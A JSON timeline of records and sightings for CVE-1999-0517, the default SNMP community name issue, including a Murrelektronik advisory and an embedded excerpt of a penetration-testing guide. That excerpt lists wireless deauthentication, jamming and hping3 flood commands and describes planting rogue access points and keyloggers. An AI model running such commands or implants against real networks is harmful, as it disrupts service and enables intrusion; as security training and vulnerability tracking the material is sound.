{"metadata": {"vulnerability": "CVE-1999-0517", "count": 32, "kinds": {"milestone": 5, "sighting": 11, "kev": 0, "other": 16}, "linked_omitted": 0}, "data": [{"timestamp": "1997-01-01T05:00:00Z", "date_only": false, "value": "1997-01-01T05:00:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-WVMJ-JGMG-4GHQ", "record": "GHSA-WVMJ-JGMG-4GHQ", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "1997-01-01T05:00:00Z", "date_only": false, "value": "1997-01-01T05:00:00.000", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-1999-0517", "record": "FKIE_CVE-1999-0517", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "1997-01-01T05:00:00Z", "date_only": false, "value": "1997-01-01T05:00Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-1999-0517", "record": "GSD-1999-0517", "field": "namespaces.nvd.nist.gov.publishedDate", "linked_record": true}, {"timestamp": "1999-06-07T00:00:00Z", "date_only": false, "value": "1999-06-07T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-1999-0517", "field": "cveMetadata.dateReserved"}, {"timestamp": "2000-02-04T05:00:00Z", "date_only": false, "value": "2000-02-04T05:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-1999-0517", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2018-05-29T15:50:33Z", "date_only": false, "value": "2018-05-29T15:50:33.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/snmp/snmp_enum.rb", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "34d92c90-a9d2-4cc2-8a17-30bc4f1b86e6", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/snmp/snmp_enum.rb"}, {"timestamp": "2018-05-29T15:50:33Z", "date_only": false, "value": "2018-05-29T15:50:33.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/snmp/snmp_login.rb", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "d98f0881-35ad-49b4-be76-29f33733a83b", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/snmp/snmp_login.rb"}, {"timestamp": "2022-04-30T18:10:43Z", "date_only": false, "value": "2022-04-30T18:10:43Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-WVMJ-JGMG-4GHQ", "record": "GHSA-WVMJ-JGMG-4GHQ", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-08-17T07:45:39Z", "date_only": false, "value": "2022-08-17T07:45:39.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-1999-0517", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-08-17T08:15:00Z", "date_only": false, "value": "2022-08-17T08:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-1999-0517", "record": "GSD-1999-0517", "field": "namespaces.nvd.nist.gov.lastModifiedDate", "linked_record": true}, {"timestamp": "2023-12-07T11:39:51Z", "date_only": false, "value": "2023-12-07T11:39:51.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1531", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "f2f5da0e-1c67-49ca-9c68-95fe8b8d397c", "content": "#ExploitObserverAlert\n\nCVE-1999-0517\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-1999-0517. An SNMP community name is the default (e.g. public), null, or missing.\n\nFIRST-EPSS: 0.454480000\nNVD-IS: 6.4\nNVD-ES: 10.0", "url": "https://t.me/arpsyndicate/1531"}, {"timestamp": "2023-12-13T01:22:57.419Z", "date_only": false, "value": "2023-12-13T01:22:57.419584Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-1999-0517", "record": "GSD-1999-0517", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2025-02-06T03:13:37Z", "date_only": false, "value": "2025-02-06T03:13:37.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "41740ce0-1edc-43f3-a415-e711360b14d8"}, {"timestamp": "2025-02-23T04:08:01Z", "date_only": false, "value": "2025-02-23T04:08:01.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "da55e33c-7799-49b0-aa57-3f16bcb68074"}, {"timestamp": "2025-03-17T15:03:23.650Z", "date_only": false, "value": "2025-03-17T15:03:23.650Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-1999-0517", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-08-03T21:02:15.810Z", "date_only": false, "value": "2025-08-03T21:02:15.810981Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lvjlb5ukrq25", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "0a80eb23-ff79-4fa4-9076-388c1f833dc3", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lvjlb5ukrq25"}, {"timestamp": "2025-08-04T02:27:55.549Z", "date_only": false, "value": "2025-08-04T02:27:55.549306Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lvk5hhwcjx2n", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "3cd615e7-50cf-4a86-8589-f2003f4f5aa9", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lvk5hhwcjx2n"}, {"timestamp": "2025-10-23T21:12:55Z", "date_only": false, "value": "2025-10-23T21:12:55.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "96da6aff-5045-4d08-a810-f38bd0d7e006"}, {"timestamp": "2026-02-13T15:20:11Z", "date_only": false, "value": "2026-02-13T15:20:11.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/aw-junaid/570136d2d565f609378c26e32014e52e", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "cc5d44da-566b-40f0-85dd-409c2ea64e1b", "url": "https://gist.github.com/aw-junaid/570136d2d565f609378c26e32014e52e"}, {"timestamp": "2026-05-04T08:00:00Z", "date_only": false, "value": "2026-05-04T08:00:00Z", "kind": "other", "label": "Discovery date", "source": "csaf_murrelektronikgmbh \u00b7 VDE-2026-062", "record": "VDE-2026-062", "field": "vulnerabilities.0.discovery_date", "metric_role": "discovery", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-05-28T17:34:44.093Z", "date_only": false, "value": "2026-05-28T17:34:44.093859Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-1999-0517", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2026-05-28T17:34:44.093Z", "date_only": false, "value": "2026-05-28T17:34:44.093859Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-1999-0517", "record": "FKIE_CVE-1999-0517", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2026-05-28T17:34:53.144Z", "date_only": false, "value": "2026-05-28T17:34:53.144Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-1999-0517", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-05-28T17:34:53.144Z", "date_only": false, "value": "2026-05-28T17:34:53.144Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-1999-0517", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2026-05-28T18:30:24Z", "date_only": false, "value": "2026-05-28T18:30:24Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-WVMJ-JGMG-4GHQ", "record": "GHSA-WVMJ-JGMG-4GHQ", "field": "modified", "linked_record": true}, {"timestamp": "2026-06-16T21:48:33.790Z", "date_only": false, "value": "2026-06-16T21:48:33.790", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-1999-0517", "record": "FKIE_CVE-1999-0517", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-07-06T11:15:33.589Z", "date_only": false, "value": "2026-07-06T11:15:33.589Z", "kind": "other", "label": "Document generated", "source": "csaf_murrelektronikgmbh \u00b7 VDE-2026-062", "record": "VDE-2026-062", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2026-07-14T09:30:33.332Z", "date_only": false, "value": "2026-07-14T09:30:33.332613Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/certvde/statuses/116917628620662812", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "2b71b840-1070-46f5-9eb2-d0062b7d0e31", "content": "#OT #Advisory VDE-2026-062Several Murrelektronik Devices use Default SNMP Community Names\nSeveral Murrelektronik devices using Profinet are shipped with the default SNMP community names ('public' for read access and 'private' for write access). If these community strings remain unchanged in the field, an unauthenticated attacker with network access to the device can read its configuration and, depending on the writable OIDs, modify device settings.#CVE CVE-1999-0517\nhttps://certvde.com/en/advisories/vde-2026-062/\n#CSAF https://murrelektronik.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-062.json", "url": "https://infosec.exchange/users/certvde/statuses/116917628620662812"}, {"timestamp": "2026-07-14T10:00:00Z", "date_only": false, "value": "2026-07-14T10:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_murrelektronikgmbh \u00b7 VDE-2026-062", "record": "VDE-2026-062", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2026-07-14T10:00:00Z", "date_only": false, "value": "2026-07-14T10:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_murrelektronikgmbh \u00b7 VDE-2026-062", "record": "VDE-2026-062", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-07-14T10:00:00Z", "date_only": false, "value": "2026-07-14T10:00:00.000Z", "kind": "other", "label": "Updated", "source": "csaf_murrelektronikgmbh \u00b7 VDE-2026-062", "record": "VDE-2026-062", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-08-25T16:14:13.748Z", "date_only": false, "value": "2026-08-25T16:14:13.748132Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/bbrk364/b126c399645779d3dd087413971085ab", "record": "CVE-1999-0517", "field": "creation_timestamp", "uuid": "9b33294d-5750-47f8-a174-3f3e286f1961", "content": "# Ultimate Network Security for Web Penetration Testing &amp; Bug Bounty Guide\n\n## Comprehensive Master Reference for Security Professionals\n\n---\n\n# Table of Contents\n\n**Part 1: Networking Fundamentals for Penetration Testers**\n- 1.1 The OSI Model: A Hacker's Perspective\n- 1.2 TCP/IP Protocol Suite Deep Dive\n- 1.3 IPv4 and IPv6: Critical Differences for Testing\n- 1.4 Network Addressing and Subnetting Mastery\n- 1.5 Network Protocols Every Tester Must Know\n- 1.6 Wireless Networking Fundamentals\n- 1.7 Software-Defined Networking and Virtual Networks\n\n**Part 2: Network Architecture for Penetration Testers**\n- 2.1 Enterprise Network Topologies\n- 2.2 Network Segmentation and Security Zones\n- 2.3 Network Devices: Attack Surface Analysis\n- 2.4 Cloud Network Architecture\n- 2.5 Data Center Networking\n- 2.6 Industrial Control System Networks\n- 2.7 Internet of Things Network Architectures\n\n**Part 3: Advanced Reconnaissance and Enumeration**\n- 3.1 Passive Reconnaissance Methodology\n- 3.2 Active Scanning and Enumeration\n- 3.3 Service-Specific Enumeration\n- 3.4 Network Mapping and Visualization\n- 3.5 OSINT for Network Intelligence\n- 3.6 Dark Web and Deep Web Reconnaissance\n- 3.7 Automated Reconnaissance Frameworks\n\n**Part 4: Network-Based Web Attacks**\n- 4.1 Man-in-the-Middle (MITM) Attacks\n- 4.2 HTTP Request Smuggling\n- 4.3 Web Cache Poisoning and Deception\n- 4.4 DNS Rebinding Attacks\n- 4.5 Server-Side Request Forgery (SSRF)\n- 4.6 Cross-Site WebSocket Hijacking\n- 4.7 HTTP Desync Attacks\n- 4.8 Protocol Confusion Attacks\n- 4.9 Session-Based Network Attacks\n- 4.10 Advanced Persistent Threat Network Techniques\n\n**Part 5: Traffic Analysis and Network Forensics**\n- 5.1 Packet Capture and Analysis\n- 5.2 Protocol Anomaly Detection\n- 5.3 Network Forensics for Incident Response\n- 5.4 Encrypted Traffic Analysis\n- 5.5 Network Flow Analysis\n- 5.6 Malware Traffic Patterns\n- 5.7 Timeline Analysis and Reconstruction\n- 5.8 Network Evidence Collection and Preservation\n\n**Part 6: Defensive Architectures and Bypass Techniques**\n- 6.1 Web Application Firewall (WAF) Bypass\n- 6.2 Intrusion Detection/Prevention System Evasion\n- 6.3 Network Access Control Bypass\n- 6.4 Firewall and ACL Bypass\n- 6.5 Load Balancer and Reverse Proxy Testing\n- 6.6 Content Delivery Network (CDN) Bypass\n- 6.7 DDoS Protection Evasion\n- 6.8 Bot Detection and Mitigation Bypass\n\n**Part 7: Emerging Technologies and Future Trends**\n- 7.1 Cloud Network Security\n- 7.2 Container and Orchestration Networking\n- 7.3 IoT and OT Network Security\n- 7.4 5G and Mobile Network Security\n- 7.5 Zero Trust Network Architecture\n- 7.6 AI/ML in Network Security\n- 7.7 Quantum Computing Implications\n- 7.8 Blockchain and Decentralized Networks\n\n**Part 8: Penetration Testing Methodology and Reporting**\n- 8.1 Comprehensive Testing Methodology\n- 8.2 Professional Reporting\n- 8.3 Tools of the Trade\n- 8.4 Vulnerability Scoring and Prioritization\n- 8.5 Remediation Verification\n- 8.6 Continuous Security Testing\n- 8.7 Compliance and Regulatory Requirements\n\n**Part 9: Bug Bounty Hunting with Network Focus**\n- 9.1 Bug Bounty Methodology for Network Issues\n- 9.2 Advanced Bug Bounty Techniques\n- 9.3 Ethics and Legal Considerations\n- 9.4 Bug Bounty Platforms and Programs\n- 9.5 Maximizing Bounty Payouts\n- 9.6 Building Reputation in the Community\n- 9.7 From Bug Bounty to Career\n\n**Part 10: Continuous Learning and Skill Development**\n- 10.1 Certifications and Training Paths\n- 10.2 Practice Environments\n- 10.3 Staying Current\n- 10.4 Building Your Own Lab\n- 10.5 Contributing to the Community\n- 10.6 Specialization Paths\n- 10.7 Career Progression in Network Security\n\n**Appendices**\n- A: Comprehensive Command Reference\n- B: Port Numbers and Service Mapping\n- C: Vulnerability Databases and Resources\n- D: Sample Penetration Testing Reports\n- E: Legal Documents and Templates\n- F: Glossary of Terms\n- G: Further Reading and References\n\n---\n\n# Introduction: The Critical Role of Network Security in Web Penetration Testing\n\nNetwork security forms the backbone of all web application security assessments. Before you can exploit a SQL injection or bypass authentication, you must first understand how data moves across networks, how systems communicate, and where the weak points exist in this communication chain. This comprehensive guide will transform your understanding of network security from basic concepts to advanced exploitation techniques used by top bug bounty hunters and penetration testers.\n\nThe modern web application landscape has evolved far beyond simple client-server architectures. Today's applications span cloud environments, content delivery networks, microservices, and containerized infrastructures. Each layer introduces new network-level vulnerabilities that can be chained with application-level flaws to achieve complete system compromise.\n\n## Why Network Security Matters in Web Testing\n\nWhen conducting web application penetration tests, many testers focus exclusively on the application layer, examining code, inputs, and business logic. However, this narrow focus misses critical vulnerabilities that exist at the network level. Consider these scenarios:\n\n**Scenario 1: The Bypassed Authentication**\nA web application implements robust authentication with multi-factor authentication, strong password policies, and account lockout. However, the application communicates with its database over an unencrypted network connection. An attacker with access to the internal network captures database credentials and bypasses all application-layer security.\n\n**Scenario 2: The Trusted Network Assumption**\nAn internal web application trusts requests coming from the corporate network, assuming they're legitimate. An attacker compromises a low-value system on the network, then uses it to attack the web application with elevated privileges, exploiting the network trust relationship.\n\n**Scenario 3: The Cloud Metadata Heist**\nA web application suffers from a Server-Side Request Forgery (SSRF) vulnerability. The attacker uses this to query the cloud metadata service, obtaining temporary credentials with extensive permissions. Network-level understanding turns a medium-risk web vulnerability into a critical infrastructure compromise.\n\n**Scenario 4: The Session Hijacking**\nA user connects to a web application from a coffee shop Wi-Fi. The application uses HTTPS, but an attacker performs SSL stripping, downgrading the connection to HTTP. The attacker captures the session cookie and gains unauthorized access to the user's account.\n\nEach scenario demonstrates that web application security cannot be separated from network security. They are intrinsically linked, and understanding both domains is essential for comprehensive security assessments.\n\n## The Evolution of Network Attacks\n\nNetwork attacks have evolved significantly over the decades:\n\n**1980s-1990s: The Era of Simple Attacks**\nEarly network attacks were straightforward: packet sniffing on shared media, IP spoofing, and basic denial of service. Networks were flat, security was minimal, and attackers exploited fundamental protocol weaknesses.\n\n**2000s: The Rise of Application Awareness**\nAs network security improved with firewalls and intrusion detection systems, attackers shifted focus to applications. Web applications became the primary target, and network attacks were often used as supporting elements for application exploitation.\n\n**2010s: The Cloud and Mobile Revolution**\nCloud computing and mobile devices transformed network architectures. Traditional perimeter-based security became obsolete as applications moved to the cloud and users connected from anywhere. Network attacks adapted to target cloud metadata, APIs, and mobile backends.\n\n**2020s: Zero Trust and Beyond**\nModern network security embraces zero trust principles: never trust, always verify. Networks are increasingly virtualized, encrypted, and segmented. Attackers respond with sophisticated techniques that exploit trust relationships, abuse legitimate services, and chain multiple vulnerabilities across network and application layers.\n\n## Who This Guide Is For\n\nThis comprehensive guide serves multiple audiences:\n\n**Aspiring Penetration Testers**\nIf you're starting your journey in security, this guide provides the foundational knowledge you need. You'll learn how networks really work, where vulnerabilities hide, and how to think like an attacker. The hands-on examples and methodologies will accelerate your learning curve.\n\n**Experienced Web Application Testers**\nIf you already understand web vulnerabilities but want to expand your skills, this guide bridges the gap between application and network testing. You'll learn how to leverage network access for deeper exploitation and how network vulnerabilities amplify application risks.\n\n**Bug Bounty Hunters**\nIf you're hunting for bugs, network-focused vulnerabilities often yield higher payouts because they're less commonly reported. This guide reveals techniques for discovering DNS misconfigurations, cloud infrastructure exposures, and network-level flaws that other hunters miss.\n\n**Security Engineers and Architects**\nIf you're responsible for building and defending networks, understanding attack techniques helps you design better defenses. This guide shows how attackers think and operate, enabling proactive security improvements.\n\n**IT Professionals and System Administrators**\nIf you manage networks and systems, this guide helps you understand security implications of your configurations. You'll learn what attackers look for and how to harden your infrastructure against real-world threats.\n\n## How to Use This Guide\n\nThis guide is designed as both a learning resource and a reference manual:\n\n**For Sequential Learning**\nIf you're new to network security, start at the beginning and work through each section. The content builds progressively, with later sections assuming understanding of earlier concepts. Complete the hands-on exercises to reinforce learning.\n\n**For Targeted Reference**\nIf you need information on a specific topic, use the table of contents to find relevant sections. Each section is self-contained with cross-references to related topics. The comprehensive appendices provide quick access to commands, port numbers, and resources.\n\n**For Practical Application**\nThroughout the guide, you'll find practical examples, command snippets, and code samples. Set up a lab environment and experiment with these techniques. Real understanding comes from hands-on practice, not just reading.\n\n**For Continuous Learning**\nNetwork security evolves constantly. Use the resources in Part 10 to stay current, and revisit sections as your skills develop. What seems complex today will become second nature with practice.\n\n## The Mindset of a Network Penetration Tester\n\nBefore diving into technical details, it's essential to understand the mindset that separates exceptional penetration testers from average ones:\n\n**Curiosity and Skepticism**\nGreat testers are inherently curious about how things work and skeptical of assumptions. When you see a network configuration, ask: \"Why is this set up this way? What assumptions are being made? How could this be abused?\"\n\n**Persistence and Patience**\nNetwork testing often requires patience. Port scans take time. Service enumeration requires careful analysis. Complex attacks may require multiple attempts. The best testers don't give up when initial attempts fail.\n\n**Creativity and Lateral Thinking**\nThe most impactful vulnerabilities often come from unexpected combinations. An SSRF vulnerability in a web application might lead to cloud metadata access, which provides credentials to compromise a database, which contains customer data. Creative testers see connections others miss.\n\n**Methodical and Thorough**\nWhile creativity is important, methodical thoroughness is essential. Comprehensive reconnaissance, systematic testing, and careful documentation separate professional assessments from casual hacking. Leave no stone unturned, but do so systematically.\n\n**Ethical and Responsible**\nWith great power comes great responsibility. The techniques in this guide can cause real damage if misused. Always test with proper authorization, respect scope boundaries, and handle discovered vulnerabilities responsibly.\n\n## Setting Up Your Testing Environment\n\nThroughout this guide, you'll need a proper testing environment. Here's what you should set up before proceeding:\n\n**Virtualization Platform**\nInstall VMware Workstation, VirtualBox, or Proxmox to run multiple virtual machines. This allows you to create isolated networks for safe testing.\n\n**Kali Linux**\nKali Linux is the standard penetration testing distribution, pre-loaded with hundreds of tools. Install it as your primary attack platform.\n\n**Target Systems**\nSet up vulnerable targets for practice:\n- Metasploitable 2 and 3 (intentionally vulnerable Linux)\n- DVWA (Damn Vulnerable Web Application)\n- WebGoat (OWASP training application)\n- Windows VMs with evaluation versions\n- pfSense (firewall/router for network segmentation)\n\n**Network Simulation**\nFor complex network testing, use GNS3 or EVE-NG to simulate routers, switches, and firewalls. These platforms allow you to build enterprise-scale networks on a single computer.\n\n**Cloud Testing Environment**\nCreate accounts on AWS, Azure, or GCP for cloud-specific testing. Use free tiers and always terminate resources after testing to avoid charges.\n\n**Docker for Container Testing**\nInstall Docker and Kubernetes for container security testing. Run vulnerable containers intentionally for practice.\n\n**Isolation and Safety**\nAlways isolate your lab network from production networks. Use host-only or NAT networking in virtualization software to prevent accidental attacks on real systems.\n\n---\n\n# Part 1: Networking Fundamentals for Penetration Testers\n\n## 1.1 The OSI Model: A Hacker's Perspective\n\nThe Open Systems Interconnection (OSI) model remains the foundational framework for understanding network communications. For penetration testers, each layer represents a potential attack surface, and understanding the intricacies of each layer reveals opportunities for exploitation that others might miss.\n\n### Layer 1: Physical Layer - The Hardware Attack Surface\n\nThe physical layer encompasses the actual hardware that moves data: cables, switches, network interface cards, hubs, repeaters, and wireless signals. While often overlooked in web application testing, physical layer attacks can bypass even the most sophisticated software security controls because they operate below the level where software security exists.\n\n#### Understanding Physical Layer Components\n\n**Copper Cabling (Ethernet)**\nEthernet over twisted pair copper cabling (Categories 5e, 6, 6a, 7, 8) remains the most common physical medium for local networks. Each category has different characteristics:\n\n- **Cat5e:** Supports up to 1 Gbps at 100 MHz, common in older installations\n- **Cat6:** Supports up to 10 Gbps at 250 MHz for distances up to 55 meters\n- **Cat6a:** Supports 10 Gbps at 500 MHz for full 100 meter distance\n- **Cat7:** Shielded cabling supporting up to 10 Gbps at 600 MHz\n- **Cat8:** Supports 25-40 Gbps at 2000 MHz for data center applications\n\nThe electrical signals traveling through copper cabling generate electromagnetic fields that can be intercepted with appropriate equipment. This phenomenon, known as electromagnetic compromise or Van Eck phreaking, allows attackers to reconstruct data by analyzing these emissions from a distance.\n\n**Fiber Optic Cabling**\nFiber optic cables transmit data as light pulses through glass or plastic fibers. They offer higher bandwidth, longer distances, and immunity to electromagnetic interference. However, they're not immune to tapping:\n\n- **Macrobending:** Physical stress on the fiber causes light to escape, which can be captured\n- **Splitting:** Optical splitters can divert a portion of the light signal\n- **Polishing:** Removing cladding to access the light-carrying core\n\nFiber taps are more difficult to detect than copper taps because they don't require breaking the electrical circuit, but they require physical access to the cable and specialized equipment.\n\n**Wireless Signals**\nWireless networking uses radio frequencies to transmit data:\n- **2.4 GHz:** Better range, more interference (microwaves, Bluetooth, cordless phones)\n- **5 GHz:** Higher speed, shorter range, less interference\n- **6 GHz (Wi-Fi 6E):** New spectrum, even higher speeds, minimal interference\n- **60 GHz (WiGig):** Very high speed, very short range, line-of-sight required\n\nWireless signals propagate through the air and walls, making them inherently interceptable. Directional antennas can capture signals from significant distances.\n\n**Network Interface Cards (NICs)**\nNICs connect devices to the network medium. They have unique MAC addresses burned into firmware and handle the electrical/optical conversion of data. Modern NICs support features like:\n- **Wake-on-LAN:** Remotely power on systems\n- **PXE Boot:** Network booting of operating systems\n- **Checksum Offloading:** Hardware calculation of packet checksums\n- **TCP Offload Engine:** Hardware processing of TCP/IP stack\n\n#### Physical Layer Attack Vectors\n\n**Cable Tapping and Eavesdropping**\n\n**Copper Tap Techniques:**\n- **Inductive Coupling:** Clamping a device around a cable to capture electromagnetic signals without breaking the insulation. This non-intrusive technique is difficult to detect but provides weaker signal strength.\n- **Insertion Tap:** Physically cutting the cable and inserting a T-connector or vampire tap. This provides strong signal access but creates physical evidence.\n- **Split Pair Tap:** Using the unused wire pairs in Ethernet cables (10/100 Mbps uses only 2 of 4 pairs) to carry tapped signals.\n\n**Fiber Tap Techniques:**\n- **Cladding Tap:** Removing the outer jacket and bending the fiber to cause light leakage, captured by a photodetector.\n- **Splitter Tap:** Inserting a passive optical splitter (90/10 or 50/50 split) that diverts\u4e00\u90e8\u5206 of the light signal to the tapping device.\n- **Polishing Tap:** Polishing the fiber cladding until thin enough for light to escape, then capturing with a prism or photodetector.\n\n**Detection Challenges:**\n- Optical time-domain reflectometry (OTDR) can detect physical changes in fiber\n- Capacitance measurements can detect copper taps\n- Active monitoring for signal loss or reflection changes\n- Physical security inspections\n\n**Signal Jamming and Denial of Service**\n\n**Copper Domain Jamming:**\n- **Electrical Noise Injection:** Introducing electrical interference on the cable\n- **Collision Creation:** Forcing collisions in half-duplex environments\n- **Signal Attenuation:** Physically damaging cables to degrade signal quality\n\n**Wireless Jamming Techniques:**\n- **Constant Carrier:** Transmitting continuous signal on the target frequency\n- **Reactive Jamming:** Transmitting only when legitimate traffic is detected\n- **Selective Jamming:** Targeting specific packets (beacons, ACKs, management frames)\n- **Deauthentication Attacks:** Sending spoofed deauth frames to disconnect clients\n\n**Wireless Jamming Tools:**\n```bash\n# Using mdk4 for deauthentication attacks\nmdk4 wlan0 d -B  -c \n\n# Using wifijammer for continuous jamming\nwifijammer -c  -s \n\n# Using hping3 for network flooding\nhping3 --flood --rand-source --destport 80 \n```\n\n**Hardware Implants and Malicious Devices**\n\n**Types of Hardware Implants:**\n- **Keyloggers:** Devices inserted between keyboard and computer capturing keystrokes\n- **Network Taps:** Small devices inserted into network cables capturing all traffic\n- **USB Ninja Cables:** USB cables containing hidden wireless transmitters\n- **Malicious Charging Stations:** USB charging ports that capture data while charging\n- **Rogue Access Points:** Small devices creating unauthorized wireless access\n\n**Deployment Scenarios:**\n- Physical penetration testing (accessing server rooms, wiring closets)\n- Social engineering (gifts, lost USB drives, fake chargers)\n- Supply chain attacks (compromised hardware before delivery)\n- Insider threats (disgruntled employees installing devices)\n\n**Detection Methods:**\n- Physical inspections of cabling and equipment\n- Network scanning for unauthorized devices\n- Spectrum analysis for rogue wireless signals\n- Tamper-evident seals and monitoring\n\n**Electromagnetic Radiation Capture (Van Eck Phreaking)**\n\n**The Van Eck Phenomenon:**\nIn 1985, Dutch researcher Wim van Eck demonstrated that CRT monitors emit electromagnetic radiation that can be captured from a distance and reconstructed to display the original image. Modern research extends this to LCD screens, keyboards, USB cables, and network equipment.\n\n**Capture Techniques:**\n- **TEMPEST:** U.S. government standard for protecting against electromagnetic eavesdropping\n- **HJR-7:** High-frequency receivers for capturing compromising emanations\n- **Software-defined radio (SDR):** Using RTL-SDR dongles for low-cost electromagnetic capture\n- **Near-field probes:** Small antennas placed close to equipment\n\n**Information That Can Be Captured:**\n- Screen displays (video signals)\n- Keyboard keystrokes\n- Network traffic (especially unshielded cabling)\n- Disk drive activity\n- CPU processing patterns\n\n**Countermeasures:**\n- Shielded equipment (TEMPEST-rated)\n- Distance and physical barriers\n- Signal noise generation\n- Fiber optics instead of copper\n- Faraday cages for sensitive areas\n\n#### Real-World Penetration Testing Scenarios\n\n**Scenario: Physical Access to Network Closet**\nDuring a physical penetration test, you gain access to an unlocked network closet. What can you do?\n\n1. **Install a Network Tap:** Insert an inline tap between the switch and uplink, capturing all traffic to/from that network segment.\n2. **Deploy a Rogue Access Point:** Connect a small wireless access point to an unused switch port, creating an entry point for remote access.\n3. **Gather Intelligence:** Photograph equipment labels, note cable colors (often indicate VLANs), identify critical infrastructure.\n4. **Plant a Hardware Implant:** Install a small device that provides persistent remote access.\n5. **Physical Keylogging:** Install hardware keyloggers on administrator workstations.\n\n**Scenario: Coffee Shop Wi-Fi Assessment**\nTesting the security of a public Wi-Fi network:\n\n1. **Signal Analysis:** Use spectrum analyzers to identify all wireless networks and their signal strengths.\n2. **Evil Twin Attack:** Set up an access point with the same SSID as the legitimate network, but stronger signal, causing clients to connect to your AP.\n3. **Hardware Implants:** Check for suspicious devices plugged into Ethernet jacks or USB ports.\n4. **Physical Observation:** Note where people sit, what devices they use, and whether they use privacy screens.\n\n#### Defensive Considerations for Physical Layer\n\n**For Penetration Testers (Understanding Defenses):**\n- Physical security controls (locks, cameras, access control systems)\n- Tamper-evident seals and monitoring\n- Cable management and protection\n- Electromagnetic shielding requirements\n- Equipment disposal procedures\n\n**For Defenders:**\n- Restrict physical access to network infrastructure\n- Use fiber optics for sensitive connections\n- Implement cable monitoring systems\n- Regular physical security audits\n- Employee awareness training\n\n### Layer 2: Data Link Layer - The Switch and MAC Address Domain\n\nThe data link layer handles communication between directly connected devices on the same network segment. It uses Media Access Control (MAC) addresses to identify devices and manages access to the physical medium. This layer is divided into two sublayers: Logical Link Control (LLC) and Media Access Control (MAC).\n\n#### Understanding Data Link Layer Components\n\n**MAC Addresses**\nMAC addresses are 48-bit identifiers burned into network interfaces, typically represented as six groups of two hexadecimal digits (e.g., 00:11:22:AA:BB:CC). The first three octets (OUI - Organizationally Unique Identifier) identify the manufacturer, while the last three are device-specific.\n\n**MAC Address Structure:**\n- **First Octet Bit 0:** Individual/Group (0 = unicast, 1 = multicast)\n- **First Octet Bit 1:** Universal/Local (0 = globally unique, 1 = locally administered)\n- **Remaining 46 bits:** 